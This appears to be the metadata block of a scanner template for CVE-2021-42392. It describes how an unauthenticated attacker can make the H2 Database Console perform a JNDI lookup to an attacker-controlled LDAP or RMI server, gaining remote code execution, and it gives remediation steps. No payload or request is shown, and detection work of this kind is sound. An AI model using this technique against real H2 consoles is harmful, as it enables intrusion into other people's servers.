CVE-2021-42392: H2 Database Console - JNDI Injection RCE

id: CVE-2021-42392

info:
  name: H2 Database Console - JNDI Injection RCE
  author: i-am-paradox
  severity: critical
  description: |
    The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
  impact: |
    An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
  remediation: |
    Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
